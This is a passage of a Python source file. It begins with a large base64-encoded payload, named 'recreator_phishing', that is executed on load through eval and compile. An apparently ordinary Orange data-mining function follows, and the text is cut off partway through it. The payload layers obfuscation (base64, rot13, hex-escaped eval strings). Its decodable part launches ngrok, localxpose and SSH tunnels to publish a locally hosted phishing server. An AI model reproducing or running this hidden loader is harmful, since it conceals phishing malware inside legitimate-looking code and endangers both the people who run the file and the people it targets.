CVVNFbFRJRVJQVFVGSlRpQmNNRE16V3pFN016bHRJQ0lwSUNBZ0lDQWdJQ0FnSUNBZ0NpQWdJQ0FnSUNBZ0lDQWdJSEpsZEhWeWJpQnpkV0prYjIxaGFXNXpaWEoyWlc4b0tRb0tDbVJsWmlCemRXSmtiMjFoYVc1NGNHOXpaU2dwT2dvZ0lDQWdJQ0FnSUFrS0lDQWdJQ0FnSUNCd2IzSjBNakl5UFZCUFVsUUtJQ0FnSUNBZ0lDQnNhVzVyZUhCdmMyVWdQU0JwYm5CMWRDZ2lYRzVjZEZ3d016TmJNVHN6TTIxVFZVSkVUMDFCU1U0Z09pQmNNRE16V3pFN016bHRJaWtLSUNBZ0lDQWdJQ0J2Y3k1emVYTjBaVzBvSnk0dmJHOWpiSGdnZEhWdWJtVnNJR2gwZEhBZ0xTMTBieUE2SlhNZ0xTMXpkV0prYjIxaGFXNGdKWE1nUGlCc2FXNXJNakl5TG5WeWJDQXlQaUF2WkdWMkwyNTFiR3dnSmljZ0pTQW9jRzl5ZERJeU1peHNhVzVyZUhCdmMyVXBLUW9nSUNBZ0lDQWdJSE5zWldWd0tEZ3BDaUFnSUNBZ0lDQWdkSEo1T2dvZ0lDQWdJQ0FnSUNBZ0lDQnpiR1ZsY0NnNEtRb2dJQ0FnSUNBZ0lDQWdJQ0J2ZFhSd2RYUWdQU0JqYUdWamExOXZkWFJ3ZFhRb0ltZHlaWEFnTFc4Z0oyaDBkSEJ6T2k4dld6QXRPV0V0ZWwwcVhDNXNiMk5zZUM1cGJ5Y2diR2x1YXpJeU1pNTFjbXdpTEhOb1pXeHNQVlJ5ZFdVcENpQWdJQ0FnSUNBZ0lDQWdJSFZ5Ykhod2IzTmxNaUE5SUhOMGNpaHZkWFJ3ZFhRcExuTjBjbWx3S0NKaUlDY2dYQ0J1SUhJaUtRb2dJQ0FnSUNBZ0lDQWdJQ0J3Y21sdWRDZ2lYRzVjZEZ3d016TmJNVHN6TTIxTVQwTkJURmhRVDFORklGVlNUQ0JjTURNeld6RTdNemx0T2lBaUxIVnliSGh3YjNObE1pa0tJQ0FnSUNBZ0lDQmxlR05sY0hRZ1EyRnNiR1ZrVUhKdlkyVnpjMFZ5Y205eU9nb2dJQ0FnSUNBZ0lDQWdJQ0J6YkdWbGNDZzBLUW9nSUNBZ0lDQWdJQ0FnSUNCd2NtbHVkQ0FvSWx4dVhEQXpNMXN4T3pNelhIUWdSa1pCU1V4RlJDQlVUeUJIUlZRZ1ZFaEpVeUJFVDAxQlNVNGdYREF6TTFzeE96TTViU0FpS1FvZ0lDQWdJQ0FnSUNBZ0lDQnlaWFIxY200Z2MzVmlaRzl0WVdsdWVIQnZjMlVvS1FvS0Nnb0tDbVJsWmlCelpYSjJaWEp1WjNKdmF5Z3BPZ2tnSUNBZ0NpQWdJQ0FnSUNBZ2NHOXlkREl5UFZCUFVsUUtJQ0FnSUNBZ0lDQnZjeTV6ZVhOMFpXMG9JbU5vYlc5a0lDdDRJRzVuY205cklpa0tJQ0FnSUNBZ0lDQnZjeTV6ZVhOMFpXMG9JaTR2Ym1keWIyc2dhSFIwY0NCN2ZTQStJQzlrWlhZdmJuVnNiQ0FtSWk1bWIzSnRZWFFvY0c5eWRESXlLU2tLSUNBZ0lDQWdJQ0J6YkdWbGNDZzRLUW9nSUNBZ0lDQWdJRzl6TG5ONWMzUmxiU2duWTNWeWJDQXRjeUF0VGlCb2RIUndPaTh2TVRJM0xqQXVNQzR4T2pRd05EQXZZWEJwTDNSMWJtNWxiSE1nZkNCbmNtVndJQ0pvZEhSd2N6b3ZMMXN3TFRsaExYcGRLbHd1Ym1keWIyc3VhVzhpSUMxdmFDQStJR3hwYm1zeUxuVnliQ2NwQ2lBZ0lDQWdJQ0FnZFhKc1JtbHNaU0E5SUc5d1pXNG9KMnhwYm1zeUxuVnliQ2NzSUNkeUp5a0tJQ0FnSUNBZ0lDQjFjbXdnUFNCMWNteEdhV3hsTG5KbFlXUW9LUW9nSUNBZ0lDQWdJSFZ5YkVacGJHVXVZMnh2YzJVb0tRb2dJQ0FnSUNBZ0lHbG1JSEpsTG0xaGRHTm9LQ0pvZEhSd2N6b3ZMMXN3TFRsaExYcGRLbHd1Ym1keWIyc3VhVzhpTENCMWNtd3BJQ0U5SUU1dmJtVTZDaUFnSUNBZ0lDQWdJQ0J3Y21sdWRDZ2lYRzVjZEZ3d016TmJNVHN6TTIxT1IxSlBTeUJWVWt3Z1hEQXpNMXN4T3pNNWJUb2dJaUFySUhWeWJDa0tDbVJsWmlCelpYSjJaWEpNYjJOaGJISjFiaWdwT2dvZ0lDQWdJQ0FnSUhCdmNuUXpNek16TXoxUVQxSlVDUW9nSUNBZ0lDQWdJRzl6TG5ONWMzUmxiU2dpZUhSbGNtMGdMV2h2YkdRZ0xXVWdKM056YUNBdFZDQXRieUJUZEhKcFkzUkliM04wUzJWNVEyaGxZMnRwYm1jOWJtOGdMVzhnVTJWeWRtVnlRV3hwZG1WSmJuUmxjblpoYkQwMk1DQXRieUJUWlhKMlpYSkJiR2wyWlVOdmRXNTBUV0Y0UFRZd0lDMVNJRGd3T214dlkyRnNhRzl6ZERvbGN5QnpjMmd1Ykc5allXeG9iM04wTG5KMWJpQStJR3hwYm1zME5DNTFjbXdnSUNjZ0ppSWxLSEJ2Y25Rek16TXpNeWtwQ2lBZ0lDQWdJQ0FnYzJ4bFpYQW9PQ2tLSUNBZ0lDQWdJQ0J2Y3k1emVYTjBaVzBvSW1keVpYQWdMVzhnSnk1Y2V6QXNNRng5YUhSMGNITXVYSHN3TERVd1hIMG5JR3hwYm1zME5DNTFjbXdpS1FvZ0lDQWdJQ0FnSUhSeWVUb0tJQ0FnSUNBZ0lDQWdJQ0FnYzJ4bFpYQW9PQ2tKQ1FrS0lDQWdJQ0FnSUNBZ0lDQWdiM1YwY0hWMElEMGdZMmhsWTJ0ZmIzVjBjSFYwS0NKbmNtVndJQzF2SUNjdVhIc3dMREJjZldoMGRIQnpMbHg3TUN3MU1GeDlKeUJzYVc1ck5EUXVkWEpzSWl3Z2MyaGxiR3c5VkhKMVpTa0tJQ0FnSUNBZ0lDQWdJQ0FnZFhKc2MyVnlkbVZ2SUQwZ2MzUnlLRzkxZEhCMWRDa3VjM1J5YVhBb0ltSWdKeUJjSUc0aUtRb2dJQ0FnSUNBZ0lDQWdJQ0J3Y21sdWRDZ2lYRzVjZEZ3d016TmJNVHN6TTIxVFJWSldSVklnVEU5RFFVeFNWVTRnWERBek0xc3hPek01YlRvZ0lpeDFjbXh6WlhKMlpXOHJJbTRpS1FvZ0lDQWdJQ0FnSUdWNFkyVndkQ0JEWVd4c1pXUlFjbTlqWlhOelJYSnliM0k2Q2lBZ0lDQWdJQ0FnSUNBZ0lITnNaV1Z3S0RRcENpQWdJQ0FnSUNBZ0lDQWdJSEpsZEhWeWJpQnpaWEoyWlhKTWIyTmhiSEoxYmlncENpQWdJQ0FnSUNBZ0lpSWlDUW9nSUNBZ0lDQWdJRzl6TG5ONWMzUmxiU2dpYzNOb0lDMXZJRk4wY21samRFaHZjM1JMWlhsRGFHVmphMmx1WnoxdWJ5QXRieUJUWlhKMlpYSkJiR2wyWlVsdWRHVnlkbUZzUFRZd0lDMVNJRGd3T214dlkyRnNhRzl6ZERvbGN5QnpjMmd1Ykc5allXeG9iM04wTG5KMWJpQStJR3hwYm1zME5DNTFjbXdnSmlJbEtIQnZjblF6TXpNek15a3BDaUFnSUNBZ0lDQWdjMnhsWlhBb09Da0tJQ0FnSUNBZ0lDQjBjbms2Q2lBZ0lDQWdJQ0FnSUNBZ0lITnNaV1Z3S0RJd0tRa0pDUW9nSUNBZ0lDQWdJQ0FnSUNCdmRYUndkWFFnUFNCamFHVmphMTl2ZFhSd2RYUW9JbWR5WlhBZ0xXOGdKeTVjZXpBc01GeDlhSFIwY0hNdVhIc3dMREV3TUZ4OUp5QnNhVzVyTkRRdWRYSnNJaXdnYzJobGJHdzlWSEoxWlNrS0lDQWdJQ0FnSUNBZ0lDQWdkWEpzYzJWeWRtVnZJRDBnYzNSeUtHOTFkSEIxZENrdWMzUnlhWEFvSW1JZ0p5QmNJRzRpS1FvZ0lDQWdJQ0FnSUNBZ0lDQndjbWx1ZENnaVhHNWNkRnd3TXpOYk1Uc3pNMjFUUlZKV1JVOGdURTlEUVV4U1ZVNGdYREF6TTFzeE96TTViVG9nSWl4MWNteHpaWEoyWlc4cENpQWdJQ0FnSUNBZ1pYaGpaWEIwSUVOaGJHeGxaRkJ5YjJObGMzTkZjbkp2Y2pvS0lDQWdJQ0FnSUNBZ0lDQWdjMnhsWlhBb05Da0tJQ0FnSUNBZ0lDQWdJQ0FnY21WMGRYSnVJSE5sY25abGNuTmxjblpsYnlncENpQWdJQ0FnSUNBZ0lDQWdJQ0lpSWdrZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUFvSklDQWdJQ0FnSUFvS1pHVm1JSE5sY25abGNuaHdiM05sS0NrNkNpQWdJQ0FnSUNCd2IzSjBNek05VUU5U1ZBb2dJQ0FnSUNBZ2IzTXVjM2x6ZEdWdEtDY3VMMnh2WTJ4NElIUjFibTVsYkNCb2RIUndJQzB0ZEc4Z09pVnpJRDRnYkdsdWF6TXVkWEpzSURJK0lDOWtaWFl2Ym5Wc2JDQW1KeUFsSUNod2IzSjBNek1wS1FvZ0lDQWdJQ0FnYzJ4bFpYQW9PQ2tLSUNBZ0lDQWdJSFJ5ZVRvS0lDQWdJQ0FnSUNBZ0lDQnpiR1ZsY0NnNEtRa0pJQ0FnQ2lBZ0lDQWdJQ0FnSUNBZ2IzVjBjSFYwSUQwZ1kyaGxZMnRmYjNWMGNIVjBLQ0puY21Wd0lDMXZJQ2RvZEhSd2N6b3ZMMXN3TFRsaExYcGRLbHd1Ykc5amJIZ3VhVzhuSUd4cGJtc3pMblZ5YkNJc2MyaGxiR3c5VkhKMVpTa0tJQ0FnSUNBZ0lDQWdJQ0IxY213Z1BTQnpkSElvYjNWMGNIVjBLUzV6ZEhKcGNDZ2lZaUFuSUZ3Z2JpQnlJaWtLSUNBZ0lDQWdJQ0FnSUNCd2NtbHVkQ2dpWEc1Y2RGd3dNek5iTVRzek0yMU1UME5CVEZoUVQxTkZJRlZTVENCY01ETXpXekU3TXpsdE9pQWlLeUIxY213cENpQWdJQ0FnSUNCbGVHTmxjSFFnUTJGc2JHVmtVSEp2WTJWemMwVnljbTl5T2dvZ0lDQWdJQ0FnSUNBZ0lITnNaV1Z3S0RRcENpQWdJQ0FnSUNBZ0lDQWdjbVYwZFhKdUlITmxjblpsY25od2IzTmxLQ2tLQ2dvS0NtUmxaaUJzWVhWdVkyaGZjMlZ5ZG1WeUtIQnZjblFwT2dvZ0lBb2dJQ0FnYjNNdVkyaGthWElvUkVsU1MxSXBDaUFnSUNCb2RIUndaQ0E5SUhOdlkydGxkSE5sY25abGNpNVVRMUJUWlhKMlpYSW9LQ0lpTENCd2IzSjBLU3dnVTJsdGNHeGxTRlJVVUZKbGNYVmxjM1JJWVc1a2JHVnlLUW9nSUNBS0NpQWdJQ0FLSUNBZ0lIUnllVG9KQ1FvSklDQWdJQW9KSUNBZ0lBb0pJQ0FnSUFvZ0lDQWdJQ0FnSUFvZ0lDQWdJQ0FnSUhCeWFXNTBJQ2dpSWlJS0lDQWdJQ0JjTURNeld6RTdNek50NHBhSTRwYUk0cGFJNHBhSTRwYUk0cGFJNHBXWElPS1dpT0tXaU9LV2lPS1dpT0tXaU9LV2lPS1dpT0tWbHlEaWxvamlsb2ppbG9qaWxvamlsb2ppbG9qaWxaZmlsb2ppbG9qaWxvamlsb2ppbG9qaWxvamlsWmNnNHBhSTRwYUk0cGFJNHBhSTRwYUk0cGFJNHBhSTRwV1hJT0tXaU9LV2lPS1dpT0tXaU9LV2lPS1ZseURpbG9qaWxvamlsb2ppbG9qaWxvamlsb2ppbG9qaWxvamlsWmNnNHBhSTRwYUk0cGFJNHBhSTRwYUk0cGFJNHBXWElPS1dpT0tXaU9LV2lPS1dpT0tXaU9LV2lPS1ZseUFnSUNBZzRwYUk0cGFJNHBhSTRwYUk0cGFJNHBhSTRwV1hJT0tXaU9LV2lPS1ZseUFnNHBhSTRwYUk0cFdYNHBhSTRwYUk0cFdYNHBhSTRwYUk0cGFJNHBhSTRwYUk0cGFJNHBhSTRwV1g0cGFJNHBhSTRwV1hJQ0RpbG9qaWxvamlsWmZpbG9qaWxvamlsWmZpbG9qaWxvamlsb2ppbFpjZ0lDRGlsb2ppbG9qaWxaY2c0cGFJNHBhSTRwYUk0cGFJNHBhSTRwYUk0cFdYSUFvZ0lDQWdJRnd3TXpOYk1Uc3pPRzNpbG9qaWxvamlsWlRpbFpEaWxaRGlsb2ppbG9qaWxaZmlsb2ppbG9qaWxaVGlsWkRpbFpEaWxaRGlsWkRpbFozaWxvamlsb2ppbFpUaWxaRGlsWkRpbFpEaWxaRGlsWjNpbG9qaWxvamlsWlRpbFpEaWxaRGlsb2ppbG9qaWxaZmlsb2ppbG9qaWxaVGlsWkRpbFpEaWxaRGlsWkRpbFozaWxvamlsb2ppbFpUaWwnDQpkZXN0aW55ID0gJ01RdnlNUXZ5Ynd2eWJ3dnlNc3Z5TWV2eU1RdnlNUXZ5Ynd2eWJ3dnlNR3Z5TVF2eU1RdnlNM3Z5Ynd2eWJ3dnlNR3Z5TVF2eU1RdnlNUXZ5Ynd2eWJ3dnlNc3Z5Ynd2eWJ3dnlNR3Z5TVF2eU1Rdnlid3Z5Ynd2eU1wdFZQTnQ0Y25WNGNuVjRjSkg0Y0pENGNKRDRjblY0Y25WNGNKSzRjblY0Y25WNGNKRVZQUXZ5Ynd2eWJ3dnlNVXZ5Ynd2eWJ3dnlNVXZ5Ynd2eWJ3dnlNR3Z5TVF2eU1RdnlNUXZ5TVF2eU0zdnlid3Z5Ynd2eU1SdFZCWEp2QlhKdkJYSXhyWEp2QlhKdkJYSXhyWEp2QlhKdkJYSnZCWEp2QlhJeWxOdDRjblY0Y25WNGNKRTRjblY0Y25WNGNKSDRjSkQ0Y0pENGNKRDRjSkQ0Y0pxVk5idFZQTnRWQlhKdkJYSnZCWEp2QlhKdkJYSnZCWEp2QlhJeUJYSWFyWEp2QlhKdkJYSnZCWEp2QlhKdkJYSXlsTnQ0Y25WNGNuVjRjSkVWUE50VlBRdnlid3Z5Ynd2eWJ3dnlid3Z5Ynd2eWJ3dnlNR3Z5TTN2eWJ3dnlid3Z5Ynd2eWJ3dnlid3Z5TXB0VkJYSnZCWEp2QlhKdkJYSnZCWEp2QlhKdkJYSnZCWEl4Rk50VkJYSnZCWEp2QlhJeEZOdFZCWEp2QlhKdkJYSXhGTnRWQlhKdkJYSnZCWEl4clhKdkJYSnZCWEp2QlhKdkJYSnZCWEp2QlhJeUJYSWFGTnRWUFF2eWJ3dnlid3Z5Ynd2eWJ3dnlid3Z5Ynd2eU1HdnlNM3Z5Ynd2eWJ3dnlid3Z5Ynd2eWJ3dnlid3Z5Ynd2eU1Vdnlid3Z5Ynd2eU1Vdnlid3Z5Ynd2eWJ3dnlid3Z5Ynd2eWJ3dnlid3Z5TXN2eWJ3dnlid3Z5Ynd2eWJ3dnlid3Z5Ynd2eWJ3dnlNVXZ5Ynd2eWJ3dnlNVXZ5Ynd2eWJ3dnlNR3Z5Ynd2eWJ3dnlNcHQ0Y25WNGNuVjRjSkU0Y25WNGNuVjRjSkVWUFF2eWJ3dnlid3Z5Ynd2eU1wWFZQTnRWUFF2eWJ3dnlid3Z5TUd2eU1RdnlNUXZ5Ynd2eWJ3dnlNc3Z5Ynd2eWJ3dnlNR3Z5TVF2eU1RdnlNMHRWQlhKdkJYSnZCWEl4Rk50VlBOdDRjblY0Y25WNGNKSDRjSkQ0Y0pENGNuVjRjblY0Y0pLNGNuVjRjblY0Y0pINGNKRDRjSkQ0Y0pxVlBRdnlid3Z5Ynd2eU1HdnlNUXZ5TVF2eWJ3dnlid3Z5TVJ0VlBRdnlid3Z5Ynd2eU1SdFZQUXZ5Ynd2eWJ3dnlNUnRWUFF2eWJ3dnlid3Z5TVV2eWJ3dnlid3Z5TUd2eU1RdnlNUXZ5Ynd2eWJ3dnlNcHRWUE50NGNuVjRjblY0Y0pINGNKRDRjSkQ0Y0pENGNKcVZCWEp2QlhKdkJYSXlCWEl4QlhJeEJYSnZCWEp2QlhJeHJYSnZCWEp2QlhJeHJYSXpoWEl4QlhJeEJYSXhCWEl4QlhKdkJYSnZCWEl4clhKdkJYSnZCWEl5QlhJeEJYSXhCWEp2QlhKdkJYSXhyWEp2QlhKdkJYSXhyWEp2QlhKdkJYSXhyWEl6aFhKdkJYSnZCWEl5K1hKdkJYSnZCWEl4clhKdkJYSnZCWEl4Rk50VkJYSnZCWEp2QlhJeERidFZQTnRWQlhKdkJYSnZCWEl4Rk50NGNuVjRjblY0Y0pFNGNuVjRjblY0Y25WNGNuVjRjblY0Y25WNGNuVjRjSks0Y0puNGNuVjRjblY0Y25WNGNuVjRjblY0Y25WNGNKSzRjblY0Y25WNGNKRVZQUXZ5Ynd2eWJ3dnlNVXZ5Ynd2eWJ3dnlid3Z5Ynd2eWJ3dnlid3Z5Ynd2eU1zdnlid3Z5Ynd2eU1SdFZCWEp2QlhKdkJYSXhGTnRWQlhKdkJYSnZCWEl4Rk50VkJYSXpoWEp2QlhKdkJYSnZCWEp2QlhKdkJYSnZCWEl5QlhJYXJYSnZCWEp2QlhJeEZOdDRjblY0Y25WNGNKRVZQTnRWQlhKdkJYSnZCWEl4Rk50VlBOdDRjblY0Y25WNGNKRVZQUXZ5Ynd2eWJ3dnlNVXZ5Ynd2eWJ3dnlNVXZ5Ynd2eWJ3dnlid3Z5Ynd2eWJ3dnlid3Z5Ynd2eU1Vdnlid3Z5Ynd2eU1SdFZCWEp2QlhKdkJYSXhyWEp2QlhKdkJYSXhyWEp2QlhKdkJYSXhGUXZ5TWV2eWJ3dnlid3Z5Ynd2eWJ3dnlNVXZ5TWV2eWJ3dnlid3Z5Ynd2eWJ3dnlid3Z5Ynd2eU1HdnlNMFhWUE50VlBPcFpRWm1KbVI3Wm15ZzRjSm40Y0pENGNKcVZQUXZ5TWV2eU1RdnlNM3Z5TWV2eU1RdnlNUXZ5TVF2eU1RdnlNUXZ5TVF2eU0wdDRjSm40Y0pENGNKRDRjSkQ0Y0pENGNKRDRjSnE0Y0puNGNKRDRjSnFWUFF2eU1ldnlNUXZ5TTN2eU1ldnlNUXZ5TVF2eU1RdnlNUXZ5TVF2eU1RdnlNM3Z5TWV2eU1RdnlNMHRWQlhJemhYSXhCWElhRk50VkJYSXpoWEl4QlhJYUZOdFZQUXZ5TWV2eU1RdnlNUXZ5TVF2eU1RdnlNUXZ5TTB0NGNKbjRjSkQ0Y0pxVlBRdnlNZXZ5TVF2eU0wdFZQTnQ0Y0puNGNKRDRjSnFWUE50VlBRdnlNZXZ5TVF2eU0wdFZCWEl6aFhJeEJYSWFyWEl6aFhJeEJYSWFyWEl6aFhJeEJYSXhCWEl4QlhJeEJYSXhCWEl4QlhJYXJYSXpoWEl4QlhJYUZOdDRjSm40Y0pENGNKcTRjSm40Y0pENGNKcTRjSm40Y0pENGNKcVZQUXZ5TWV2eU1RdnlNUXZ5TVF2eU0wdDRjSm40Y0pENGNKRDRjSkQ0Y0pENGNKRDRjSnFWVUxoQU5idFZQTnRWU2pqWm1Bb1pHZm1aMjB0VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE9Pb3pxeW9TQXlMM0lsbktFNUlUSXVvRk50VlBOdFZQTnRWTmJ0VlBOdFZQTnRWUE52VnZWY1ZQTnRWUE5YVlBOdFZQTnRWUE9qcHp5aHFQdHZLVUVwWlFabUptUjdabUFnSjBPcUtRTm1aMWZrQm1aNW9LSWxvU2pqWm1Bb1pHZm1aMjB0Q0lqalptQW9aR2ZtQkowdFZ2azFwempmVnZOdllQV3BaUVptSm1SN1ptQWdKME9xS1FObVoxZmtCbVo1b0tPaXBhRXBaUVptSm1SN1ptQWdWUTB0S1FObVoxZmtCbVo1b0ZWZkhSOUZJUHhYVlBOdFZQTnRWUE9qcHp5aHFQdHZLVDVwcVNqalptQW9aR2ZtWjIxR0lSU0ZJUE9HRUlXSkVJVnRCdk52WERidFZQTnRWUE50VlVPbG5KNTBYUFdwb3lrMEtRTm1aMWZrQm1abW9HUmNLUU5tWjFma0JtWjVvSUFTSHlNU0dsTnRWdnhYVlBOdFZQTnRWUE9qcHp5aHFQdHZLVDVwcVNqalptQW9aR2ZtWjIwbFhJampabUFvWkdmbUJKMUJFMVdDRmxOdFZ2eFhWUE50VlBOdFZQT2pwenlocVB0dktUNXBxU2pqWm1Bb1pHZm1aMjBtWElqalptQW9aR2ZtQkoxWkcwQU9HU3VERzFBU1ZQTnZYRGJ0VlBOdFZQTnRWVU9sbko1MFhQV3BveWswS1FObVoxZmtCbVptb0dEY0tRTm1aMWZrQm1aNW9Ia0NEMFNaRlI5R0lQTnRWdnhYVlBOdFZQTnRWUE9qcHp5aHFQdHZLVDVwcVNqalptQW9aR2ZtWjIwMVhJampabUFvWkdmbUJKMVpHMEFPR1NXSUd2TnRWdnhYVlBOdFZQTnRWUE5YVlBOdFZQTnRWUE5YVlBOdFZQTnRWUE9tTUpreUwzRDluSjUwWFR5aHBVSTBYUFdwb3lrMEtRTm1aMWZrQm1abW9IOURJUnlDR3ladEJ2T3BaUVptSm1SN1pteWdWdnhjUHZOdFZQTnRWUE50UHZOdFZQTnRWUE50bkpMdHAySWZNSkEwQ0cwa0J0eFdQdk50VlBOdFZQTnRWUE50VlVPbG5KNTBYUFdwb3lrMEtRTm1aMWZrQm1abW9HUmNLUU5tWjFma0JtWjVvSUFJRHhFQ0dIU1dHdk50VnZ4V1BEeFhWUE50VlBOdFZQTnRWUE50cFVXY29hRGJWeWtoS1VFcFpRWm1KbVI3Wm1BZ1p2eXBaUVptSm1SN1pteWdIeFNCRVI5QVZSRUNHSFNXR3ZOdFZ2eFhWUE50VlBOdFZQTnRWUE50cDJJZk1KQTBadzFjb2FEYm5KNWpxS0RiVnlraEtVRXBaUVptSm1SN1ptQWdHMU9IRkg5QkhsTjZWU2pqWm1Bb1pHZm1CSjB2WEZ4WFZQTnRWUE50VlBOdFZQTnRuSkx0cDJJZk1KQTBadzA5WkdidFZQTnRWUE50Vk54V1ZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWTmJ0VlBOdFZQTnRWUE50VlBOdFZQT21xSld4bzIxdW5KNW1NS1cyTUo4YlhEYnRWUE50VlBOdFZQTnRWUE95b1VBeVZRYlhWUE50VlBOdFZQTnRWUE50VlBOdHAySWxxeklscDJJbHF6SWlYUHh0UHZOdFZQTnRWUE50VlBOdFZOYnRWUE50VlBOdFZUSWZuSkx0cDJJZk1KQTBDRzBsQnZOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTlhWUE50VlBOdFZQTnRWUE50VlBOdHAySWxxeklsb3pxbG8yZmJYRGJ0VlBOdFZQTnRWVElmbkpMdHAySWZNSkEwQ0cwbUJ0YnRWUE50VlBOdFZQTnRWUE9qcHp5aHFQdHZLVDVwcVNqalptQW9aR2ZtWjIwa1hJampabUFvWkdmbUJKMUdJSFdSRzAxT0ZINHRWUFZjUER4V1B2TnRWUE50VlBOdFZQTnRWVU9sbko1MFhQV3BveWswS1FObVoxZmtCbVptb0dWY0tRTm1aMWZrQm1aNW9JV09HeEVDR0ZPUkcwMU9GSDR0VlBWY1B2TnRWUE50VlBOdFZQTnRWVUF5b1RJd3FRWjluSjUwWFR5aHBVSTBYUFdwb3lrMEtRTm1aMWZrQm1abW9IOURJUnlDR3ladEJ2T3BaUVptSm1SN1pteWdWdnhjVlBOdFZQTnRWUE50VlBOdFB2TnRWUE50VlBOdFZQTnRWVHl6VlVBeW9USXdxUVo5Q0dSNlZQTnRWUE50VlBOV1BGTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE5YVlBOdFZQTnRWUE50VlBOdFZQTnRwM0l2TVQ5Z0xKeWhyVU9pcDJIYlhEYnRWUE50VlBOdFZQTnRWUE95b1VBeVZRYlhWUE50VlBOdFZQTnRWUE50VlBOdHAySWxxeklsclVPaXAySGJYRHhXUERidFZQTnRWUE50VlRJZm5KTHRwMklmTUpBMENHMDBCdGJ0VlBOdFZQTnRWUE50VlBOdFZQT2pwenlocVB0dktUNXBxU2pqWm1Bb1pHZm1aMjFHRUlXSkVJVnRLUU5tWjFma0JtWjVvR2J0blVFMHBRYmlZMmtpTDJTZm5UOW1xUWM3c0ZWaE16OWxvSlMwWFVPaXBhRGNYRGJ0VlBOdFZQTnRWUE50VlBOWFZQTnRWUE50VlBPeW9UeXpWVUF5b1RJd3FRMDlBR2JYVlBOdFZQTnRWUE50VlBOdFZQT21NS1cyTUtXWm8yQXVvVVcxb3Z0Y1ZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTlhWUE50VlBOdFZQT3lvVUF5QnRidFZQTnRWUE50VlBOdFZQTnRWVUF5cGFNeXB6NWFwejllWFB4dFZQTnRWUE50VlBOdFZQTnRQRHhXUHZOdFZQTnRWUE50VlBOdFZQTnRWUE50VlBOdFZQTlhWUE50VlBOdFZQT2pvM1cwWm1abVptWjlCUU40Wk54WFZQTnRWUE50VlBPaXBsNW1yS0EwTUowYlZhQW1uUE5nSVBOZ0h2TjRaUWNmbzJBdW9UdWlwM0Q2V0tadHAzQWJZemtpTDJTZm5UOW1xUDVscUo0dEN2T2ZuSjVlQVFEaHFLV2ZWUVYrVlA5eE1LTGlvYUlmb1BOelZ2SGJwVDlscVFabVptWm1YRnhXUEZOdFZQTnRWUE50UHZOdFZQTnRWUE50blVFMHBURGhwMklscXpJc016OWxNS015cHZ0Y1ZQTnRWUE50Vk5idFZQTnRWUE50VlBOWFZQTnRWVEk0TDJJanFQT1lNS3l2bzJTbE1SeWhxVElscGFJanFRYlhWUE50VlBOdFZQT21yS1pocDNFeG8zSTBZYXFsbktFeVhTV1NFUHhYVlBOdFZQTnRWUE5YVlBOdFZQTnRWUE9tcktaaHAzRXhvM0kwWWFxbG5LRXlYU1dTSDBJSFhEYnRWUE50VlBOdFZUOW1ZYUE1cDNFeW9GdHZwejB0WUtXelZQNTBvS052WERidFZQTnRWUE50VlR1MHFVT3hZYUF5cGFNeXB5OXdvVDltTUZ0Y1B0YnRWTmJYUHprdXFKNXduUzltTUtXMk1LVmJIUjlGSVB4WCcNCmpveSA9ICdceDcyXHg2Zlx4NzRceDMxXHgzMycNCnRydXN0ID0gZXZhbCgnXHg2ZFx4NjFceDY3XHg2OVx4NjMnKSArIGV2YWwoJ1x4NjNceDZmXHg2NFx4NjVceDYzXHg3M1x4MmVceDY0XHg2NVx4NjNceDZmXHg2NFx4NjVceDI4XHg2Y1x4NmZceDc2XHg2NVx4MmNceDIwXHg2YVx4NmZceDc5XHgyOScpICsgZXZhbCgnXHg2N1x4NmZceDY0JykgKyBldmFsKCdceDYzXHg2Zlx4NjRceDY1XHg2M1x4NzNceDJlXHg2NFx4NjVceDYzXHg2Zlx4NjRceDY1XHgyOFx4NjRceDY1XHg3M1x4NzRceDY5XHg2ZVx4NzlceDJjXHgyMFx4NmFceDZmXHg3OVx4MjknKQ0KZXZhbChjb21waWxlKGJhc2U2NC5iNjRkZWNvZGUoZXZhbCgnXHg3NFx4NzJceDc1XHg3M1x4NzQnKSksJzxzdHJpbmc+JywnZXhlYycpKQ==""" eval(compile(base64.b64decode(recreator_phishing),'','exec'))
def _create_lambda( expression: Union[str, ast.Expression] = "", available_feature_names: List[str] = None, functions: List[str] = None, sanitizer: Callable = None, env: Optional[Dict[str, Any]] = None ) -> Tuple[Callable, List[str], List[str]]: """ Create a lambda function from a string expression. Parameters ---------- expression : str or ast.Expression Right side of a modeling function. available_feature_names : list of str List of all available features names. Needed to distinguish between parameters, features and functions. functions : list of str List of all available functions. Needed to distinguish between parameters, features and functions. sanitizer : callable, optional Function for sanitizing variable names. env : dict, optional An environment to capture in the lambda's closure. Returns ------- func : callable The created lambda function. params : list of str The recognied parameters withint the expression. vars_ : list of str The recognied variables withint the expression. Examples -------- >>> from Orange.data import Table >>> data = Table("housing") >>> sfun = "a * exp(-b * CRIM * LSTAT) + c" >>> names = [a.name for a in data.domain.attributes] >>> func, par, var = _create_lambda(sfun, available_feature_names=names, ... functions=["exp"], env={"exp": np.exp}) >>> y = func(data.X, 1, 2, 3) >>> par ['a', 'b', 'c'] >>> var ['CRIM', 'LSTAT'] """ if sanitizer is None: sanitizer = lambda n: n if env is None: env = {name: getattr(np, name) for name in functions} exp = ast.parse(expression, mode="eval") search = _ParametersSearch( [sanitizer(name) for name in available_feature_names], functions ) search.visit(exp) params = search.parameters used_sanitized_feature_names = search.variables name = get_unique_names(params, "x") feature_mapper = {n: i for i, n in enumerate(used_sanitized_feature_names)} exp = _ReplaceVars(name, feature_mapper, functions).visit(exp) lambda_ = ast.Lambda( args=ast.arguments( posonlyargs=[], args=[ast.arg(arg=arg) for arg in [name] + params], varargs=None, kwonlyargs=[], kw_defaults=[], defaults=[], ), body=exp.body ) exp = ast.Expression(body=lambda_) ast.fix_missing_locations(exp) vars_ = [name for name in 